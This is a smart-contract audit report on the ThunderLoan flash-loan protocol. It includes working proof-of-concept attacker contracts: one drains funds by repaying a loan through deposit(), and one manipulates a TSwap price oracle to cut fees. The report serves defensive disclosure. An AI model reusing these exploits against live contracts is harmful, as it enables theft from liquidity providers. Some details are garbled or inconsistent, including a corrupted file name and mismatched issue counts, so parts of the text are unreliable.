



Protocol Audit Report

Version 1.0

Cyfrin.io

December 2, 2025

ThunderLoan Audit Report

Bree

December 1, 2025

Prepared by: Bree Lead Auditors: - Bree

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
 - Known Issues
- Findings
- High
 - [H-1] Erroneous `ThunderLoan::updateExchangeRate` in `deposit` function causes protocol to think it has more fees than it really does, which blocks users from redeeming and incorrectly sets the exchange rate
 - [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

- [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
- [H-4] fee are less for non standard ERC20 Token
- Medium
 - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
 - [M-2] `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens
- Low
 - [L-1] `getCalculatedFee` can be as low as 0
 - [L-2] `updateFlashLoanFee()` missing event
 - [L-3] Mathematic operations handled without precision in `getCalculatedFee()` function in `ThunderLoan.sol`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans. The users can borrow any amount of assets from the protocol as long as they pay it back in the same transaction plus fees. If they don't pay it back, the transaction reverts and the loan is cancelled.
2. Give liquidity providers a way to earn money off their capital

Disclaimer

The Bree makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```

1  |-- interfaces
2  |    |-- IFlashLoanReceiver.sol
3  |    |-- IPoolFactory.sol
4  |    |-- ISwapPool.sol
5  |    |-- IThunderLoan.sol
6  |-- protocol
7  |    |-- AssetToken.sol
8  |    |-- OracleUpgradeable.sol
9  |    |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol

```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC
 - DAI
 - LINK
 - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	2
Info	0
Total	8

Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees
- We are aware that the first depositor gets an unfair advantage in `assetToken` distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that “weird” ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Findings

High

[H-1] Erroneous ThunderLoan::updateExchangeRate in deposit function causes protocol to think it has more fees than it really does, which blocks users from redeeming and incorrectly sets the exchange rate

Description: In the Thunderloan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. It's responsible for keeping track of how many fees to give to liquidity providers. However, the `deposit` function, updates this rate without collecting any fees.

```
1     function deposit(IERC20 token, uint256 amount) external
2         revertIfZero(amount) revertIfNotAllowedToken(token) {
3         AssetToken assetToken = s_tokenToAssetToken[token];
4         uint256 exchangeRate = assetToken.getExchangeRate();
5         uint256 mintAmount = (amount * assetToken.
6             EXCHANGE_RATE_PRECISION()) / exchangeRate;
7         emit Deposit(msg.sender, token, amount);
8         assetToken.mint(msg.sender, mintAmount);
9         //@audit-high
10        uint256 calculatedFee = getCalculatedFee(token, amount);
11        @> assetToken.updateExchangeRate(calculatedFee);
12        token.safeTransferFrom(msg.sender, address(assetToken), amount)
13        ;
14    }
```

Impact:

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

PoC

Place the following into ThunderLoanTest.t.sol

```
1 function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4         amountToBorrow);
5     vm.startPrank(user);
6     tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
7     thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
8         amountToBorrow, "");
9     vm.stopPrank();
10
11     uint256 amountToRedeem = type(uint256).max;
12     vm.startPrank(liquidityProvider);
13     thunderLoan.redeem(tokenA, amountToRedeem);
14 }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
1 function deposit(IERC20 token, uint256 amount) external
2     revertIfZero(amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.
6         EXCHANGE_RATE_PRECISION()) / exchangeRate;
7     emit Deposit(msg.sender, token, amount);
8     assetToken.mint(msg.sender, mintAmount);
9     //@audit-high
10    - uint256 calculatedFee = getCalculatedFee(token, amount);
11    - assetToken.updateExchangeRate(calculatedFee);
12    token.safeTransferFrom(msg.sender, address(assetToken), amount)
13    ;
14 }
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating `endingBalance` using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a

revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps: 1. Borrow with flash loan. 2. During callback, deposit the borrowed money into the protocol. 3. Protocol mints you shares as if you deposited your own funds. 4. After the loan ends, redeem those shares. 5. Walk away with extra tokens (profit), draining funds.

Proof Of Code

```
1      function testUserDepositsOverRepayToStealFunds() public
2          setAllowedToken hasDeposits {
3              vm.startPrank(user);
4              uint256 amountToBorrow = 50e18;
5              uint256 fee = thunderLoan.getCalculatedFee(tokenA,
6                  amountToBorrow);
7              DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
8                  ));
9              tokenA.mint(address(dor), fee);
10             thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
11             ;
12             dor.redeemMoney();
13             vm.stopPrank();
14             assertGt(tokenA.balanceOf(address(dor)), 50e18 + fee);
15         }
16     }
17
18     contract DepositOverRepay is IFlashLoanReceiver {
19         ThunderLoan thunderLoan;
20         AssetToken assetToken;
21         IERC20 s_token;
22
23         constructor(address _thunderLoan) {
24             thunderLoan = ThunderLoan(_thunderLoan);
25         }
26
27         function executeOperation(
28             address token,
29             uint256 amount,
30             uint256 fee,
31             address,
32             bytes calldata
33         )
34             external
35             returns (bool)
36         {
37             s_token = IERC20(token);
38             IERC20(token).approve(address(thunderLoan), amount + fee);
39             assetToken = thunderLoan.getAssetFromToken(IERC20(token));
40             thunderLoan.deposit(IERC20(token), amount + fee);
```



```

37         return true;
38     }
39
40     function redeemMoney() public {
41         uint256 amount = assetToken.balanceOf(address(this));
42         thunderLoan.redeem(s_token, amount);
43     }
44 }

```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan.

[H-3] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_correctlyFlashLoaning, freezing protocol

Description: ThunderLo1000000000000000000an.sol has two variables in the following order:

```
1 uint256 private s_feePrecision;
2 uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variable breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means the users who take flash loans after the upgrade will be charged the wrong fee. Also, the `s_currentlyFlashLoaning` will be mapping in the wrong storage slot.

Proof of Concept:

PoC

Place the following code into `ThunderLoanTest.t.sol`

```
1 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
2
3
4
5     function testUpgradeFails() public {
```

```
6      uint256 feesBeforeUpgrade = thunderLoan.getFee();
7      vm.startPrank(thunderLoan.owner());
8      ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9      thunderLoan.upgradeToAndCall(address(upgraded), "");
10     uint256 feesAfterUpgrade = thunderLoan.getFee();
11     vm.stopPrank();
12
13     console2.log("Fee before:", feesBeforeUpgrade);
14     console2.log("Fee After:", feesAfterUpgrade);
15     assert(feesBeforeUpgrade != feesAfterUpgrade);
16 }
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1 -   uint256 private s_flashLoanFee; // 0.3% ETH fee
2 -   uint256 public constant FEE_PRECISION = 1e18;
3 +   uint256 private s_blank;
4 +   uint256 private s_flashLoanFee; // 0.3% ETH fee
5 +   uint256 public constant FEE_PRECISION = 1e18;
```

[H-4] fee are less for non standard ERC20 Token

Description: Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

```
1 //ThunderLoan.sol
2 function getCalculatedFee(IERC20 token, uint256 amount) public view
   returns (uint256 fee) {
3     //slither-disable-next-line divide-before-multiply
4     @>   uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
        address(token))) / s_feePrecision;
5     //slither-disable-next-line divide-before-multiply
6     @>   fee = (valueOfBorrowedToken * s_flashLoanFee) /
        s_feePrecision;
7 }
```

```
1 //ThunderLoanUpgraded.sol
2 //ThunderLoanUpgraded.sol
3
4 function getCalculatedFee(IERC20 token, uint256 amount) public view
   returns (uint256 fee) {
5     //slither-disable-next-line divide-before-multiply
6     @>   uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
        address(token))) / FEE_PRECISION;
```

```
7 //slither-disable-next-line divide-before-multiply
8 @> fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION
9 ;
}
```

Impact:

Let's say: * user_1 asks a flashloan for 1 ETH. * user_2 asks a flashloan for 2000 USDT.

```
1 function getCalculatedFee(IERC20 token, uint256 amount) public view
  returns (uint256 fee) {
2
3     //1 ETH = 1e18 WEI
4     //2000 USDT = 2 * 1e9 WEI
5
6     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
      (token))) / s_feePrecision;
7
8     // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
9     // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI
10
11     fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
12
13     //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
14     //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,0000000000006
      ETH
15 }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommended Mitigation: Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from **ThunderLoan** for 1000 **tokenA**. They are charged the original fee **fee1**. During the flash loan, they do the following:
 1. User sells 1000 **tokenA**, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 **tokenA**.
 1. Due to the fact that the way **ThunderLoan** calculates price based on the **TSwapPool** this second flash loan is substantially cheaper.

```
1 function getPriceInWeth(address token) public view returns (
    uint256) {
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).
        getPool(token);
3     @> return ITSwapPool(swapPoolOfToken).
        getPriceOfOnePoolTokenInWeth();
4 }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code to test Oracle manipulation

Proof Of Code

```
1 function testOracleManipulation() public {
2     //1. setup contracts
3     thunderLoan = new ThunderLoan();
4     tokenA = new ERC20Mock();
5     proxy = new ERC1967Proxy(address(thunderLoan), "");
6     BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
7     ;
8     // create a Tswap Dex btn weth / Token A
9     address tswapPool = pf.createPool(address(tokenA));
10    thunderLoan = ThunderLoan(address(proxy));
11    thunderLoan.initialize(address(pf));
12
13    // 2. Fund TSwap
14    vm.startPrank(LiquidityProvider);
15    tokenA.mint(LiquidityProvider, 100e18);
16    tokenA.approve(address(tswapPool), 100e18);
17    weth.mint(LiquidityProvider, 100e18);
18    weth.approve(address(tswapPool), 100e18);
19    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
20    timestamp);
21    vm.stopPrank();
22
23    // 3. Fund Thunderloan
24    //set allow
```

```
24     vm.prank(thunderLoan.owner());
25     thunderLoan.setAllowedToken(tokenA, true);
26     //fund
27     vm.startPrank(liquidityProvider);
28     tokenA.mint(liquidityProvider, 1000e18);
29     tokenA.approve(address(thunderLoan), 1000e18);
30     thunderLoan.deposit(tokenA, 1000e18);
31     vm.stopPrank();
32
33
34
35     //4. Manipulate price, we taking out 2 flash loans
36     //   a. to nuke the price of weth/tokenA on Tswap
37     //   b. to show that by doing so greatly reduces the fees we
38         pay on thunderloan
39     uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
40         100e18);
41     console.log("Normal fee is:", normalFeeCost);
42     // normal fee: .0.296147410319118389
43
44     uint256 amountToBorrow = 50e18; // we'll do this twice
45     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
46         (
47         address(thunderLoan), address(tswapPool), address(
48         thunderLoan.getAssetFromToken(tokenA))
49     );
50
51     vm.startPrank(user);
52     tokenA.mint(address(flr), 100e18);
53     thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
54     ;
55     vm.stopPrank();
56
57     uint256 attackFee = flr.feeOne() + flr.feeTwo();
58     console.log("Attack fee is:", attackFee);
59     assert(attackFee < normalFeeCost);
60
61 }
62
63 }
64
65 contract MaliciousFlashLoanReceiver {
66     ThunderLoan thunderLoan;
67     BuffMockTSwap tswapPool;
68     address repayAddress;
69     bool attacked;
70     uint256 public feeOne;
71     uint256 public feeTwo;
72
73     constructor(address _thunderLoan, address _tswapPool, address
74         _repayAddress) {
75         thunderLoan = ThunderLoan(_thunderLoan);
```

```
69     tswapPool = BuffMockTSwap(_tswapPool);
70     repayAddress = _repayAddress;
71 }
72
73 function executeOperation(
74     address token,
75     uint256 amount,
76     uint256 fee,
77     address, //initiator,
78     bytes calldata //params
79 )
80     external
81     returns (bool)
82 {
83     if (!attacked) {
84         //1. swap TokenA borrowed for weth
85         //2. take out another flash loan to show the difference
86         feeOne = fee;
87         attacked = true;
88         uint256 wethBrought = tswapPool.getOutputAmountBasedOnInput
            (50e18, 100e18, 100e18);
89         IERC20(token).approve(address(tswapPool), 50e18);
90         // let's tank the price
91         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
            wethBrought, block.timestamp);
92         // we call a second flash loan
93         thunderLoan.flashloan(address(this), IERC20(token), amount,
            "");
94         // repay
95         //IERC20(token).approve(address(thunderLoan), amount + fee)
96         ;
97         //thunderLoan.repay(IERC20(token), amount + fee);
98         IERC20(token).transfer(address(repayAddress), amount + fee)
99         ;
100     } else {
101         // calculate the fee and repay
102         feeTwo = fee;
103         // repay
104         //IERC20(token).approve(address(thunderLoan), amount + fee)
105         ;
106         //thunderLoan.repay(IERC20(token), amount + fee);
107         IERC20(token).transfer(address(repayAddress), amount + fee)
108         ;
109     }
110     return true;
111 }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] ThunderLoan::setAllowedToken can permanently lock liquidity providers out from redeeming their tokens

Description: If the `ThunderLoan::setAllowedToken` function is called with the intention of setting an allowed token to false and thus deleting the `assetToken` to token mapping; nobody would be able to redeem funds of that token in the `ThunderLoan::redeem` function and thus have them locked away without access.

```
1  function setAllowedToken(IERC20 token, bool allowed) external
   onlyOwner returns (AssetToken) {
2      if (allowed) {
3          if (address(s_tokenToAssetToken[token]) != address(0)) {
4              revert ThunderLoan__AlreadyAllowed();
5          }
6          string memory name = string.concat("ThunderLoan ",
            IERC20Metadata(address(token)).name());
7          string memory symbol = string.concat("tL", IERC20Metadata(
            address(token)).symbol());
8          AssetToken assetToken = new AssetToken(address(this), token
            , name, symbol);
9          s_tokenToAssetToken[token] = assetToken;
10         emit AllowedTokenSet(token, assetToken, allowed);
11         return assetToken;
12     } else {
13         AssetToken assetToken = s_tokenToAssetToken[token];
14 @>        delete s_tokenToAssetToken[token];
15         emit AllowedTokenSet(token, assetToken, allowed);
16         return assetToken;
17     }
18 }
```

```
1  function redeem(
2      IERC20 token,
3      uint256 amountOfAssetToken
4  )
5      external
6      revertIfZero(amountOfAssetToken)
7 @>      revertIfNotAllowedToken(token)
8  {
9      AssetToken assetToken = s_tokenToAssetToken[token];
10     uint256 exchangeRate = assetToken.getExchangeRate();
11     if (amountOfAssetToken == type(uint256).max) {
12         amountOfAssetToken = assetToken.balanceOf(msg.sender);
13     }
14     uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
        / assetToken.EXCHANGE_RATE_PRECISION();
15     emit Redeemed(msg.sender, token, amountOfAssetToken,
        amountUnderlying);
16     assetToken.burn(msg.sender, amountOfAssetToken);
```

```
17         assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
18     }
```

Impact: If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the `ThunderLoan::redeem` function.

Proof of Concept: The below test passes with a `ThunderLoan__NotAllowedToken` error. Proving that a liquidity provider cannot redeem their deposited tokens if the `setAllowedToken` is set to false, Locking them out of their tokens.

```
1     function testCannotRedeemNonAllowedTokenAfterDepositingToken()
2         public {
3         vm.prank(thunderLoan.owner());
4         AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
5             true);
6
7         tokenA.mint(liquidityProvider, AMOUNT);
8         vm.startPrank(liquidityProvider);
9         tokenA.approve(address(thunderLoan), AMOUNT);
10        thunderLoan.deposit(tokenA, AMOUNT);
11        vm.stopPrank();
12
13        vm.prank(thunderLoan.owner());
14        thunderLoan.setAllowedToken(tokenA, false);
15
16        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
17            ThunderLoan__NotAllowedToken.selector, address(tokenA)));
18        vm.startPrank(liquidityProvider);
19        thunderLoan.redeem(tokenA, AMOUNT_LESS);
20        vm.stopPrank();
21    }
```

Recommended Mitigation: It would be suggested to add a check if that `assetToken` holds any balance of the ERC20, if so, then you cannot remove the mapping.

```
1     function setAllowedToken(IERC20 token, bool allowed) external
2         onlyOwner returns (AssetToken) {
3         if (allowed) {
4             if (address(s_tokenToAssetToken[token]) != address(0)) {
5                 revert ThunderLoan__AlreadyAllowed();
6             }
7             string memory name = string.concat("ThunderLoan ",
8                 IERC20Metadata(address(token)).name());
9             string memory symbol = string.concat("tl", IERC20Metadata(
10                 address(token)).symbol());
11             AssetToken assetToken = new AssetToken(address(this), token
12                 , name, symbol);
13             s_tokenToAssetToken[token] = assetToken;
```



```
10         emit AllowedTokenSet(token, assetToken, allowed);
11         return assetToken;
12     } else {
13         AssetToken assetToken = s_tokenToAssetToken[token];
14 +         uint256 hasTokenBalance = IERC20(token).balanceOf(address(
15 +         assetToken));
16         if (hasTokenBalance == 0) {
17             delete s_tokenToAssetToken[token];
18             emit AllowedTokenSet(token, assetToken, allowed);
19 +         }
20         return assetToken;
21     }
```

Low

[L-1] getCalculatedFee can be as low as 0

Description: getCalculatedFee can be as low as 0

Impact: Low as this amount is really small

Proof of Concept: Any value up to 333 for “amount” can result in 0 fee based on calculation

```
1     function testFuzzGetCalculatedFee() public {
2         AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
3
4         uint256 calculatedFee = thunderLoan.getCalculatedFee(
5             tokenA,
6             333
7         );
8
9         assertEq(calculatedFee, 0);
10
11         console.log(calculatedFee);
12     }
```

Recommended Mitigation: A minimum fee can be used to offset the calculation, though it is not that important.

[L-2] updateFlashLoanFee() missing event

Description: `ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value `s_flashLoanFee` off-chain.

```
1 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2     if (newFee > FEE_PRECISION) {
3         revert ThunderLoan__BadNewFee();
4     }
5     @> s_flashLoanFee = newFee;
6 }
```

Impact: In Ethereum, events are used to facilitate communication between smart contracts and their user interfaces or other off-chain services. When an event is emitted, it gets logged in the transaction receipt, and these logs can be monitored and reacted to by off-chain services or user interfaces.

Without a `FeeUpdated` event, any off-chain service or user interface that needs to know the current `s_flashLoanFee` would have to actively query the contract state to get the current value. This is less efficient than simply listening for the `FeeUpdated` event, and it can lead to delays in detecting changes to the `s_flashLoanFee`.

The impact of this could be significant because the `s_flashLoanFee` is used to calculate the cost of the flash loan. If the fee changes and an off-chain service or user is not aware of the change because they didn't query the contract state at the right time, they could end up paying a different fee than they expected.

Proof of Concept:

Recommended Mitigation:

```
1 + event FeeUpdated(uint256 indexed newFee);
2
3 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
4     if (newFee > s_feePrecision) {
5         revert ThunderLoan__BadNewFee();
6     }
7     s_flashLoanFee = newFee;
8 +     emit FeeUpdated(s_flashLoanFee);
9 }
```

[L-3] Mathematic operations handled without precision in `getCalculatedFee()` function in `ThunderLoan.sol`

Description: In a manual review of the `ThunderLoan.sol` contract, it was discovered that the mathematical operations within the `getCalculatedFee()` function do not handle precision appropriately. Specifically, the calculations in this function could lead to precision loss when processing fees. This issue is of low priority but may impact the accuracy of fee calculations. The identified problem revolves around the handling of mathematical operations in the `getCalculatedFee()` function. The code snippet below is the source of concern:

```
1 uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))  
    ) / s_feePrecision;  
2 fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

The above code, as currently structured, may lead to precision loss during the fee calculation process, potentially causing accumulated fees to be lower than expected.

Impact: This issue is assessed as low impact. While the contract continues to operate correctly, the precision loss during fee calculations could affect the final fee amounts. This discrepancy may result in fees that are marginally different from the expected values.

Recommended Mitigation: To mitigate the risk of precision loss during fee calculations, it is recommended to handle mathematical operations differently within the `getCalculatedFee()` function. One of the following actions should be taken:

Change the order of operations to perform multiplication before division. This reordering can help maintain precision. Utilize a specialized library, such as `math.sol`, designed to handle mathematical operations without precision loss. By implementing one of these recommendations, the accuracy of fee calculations can be improved, ensuring that fees align more closely with expected values.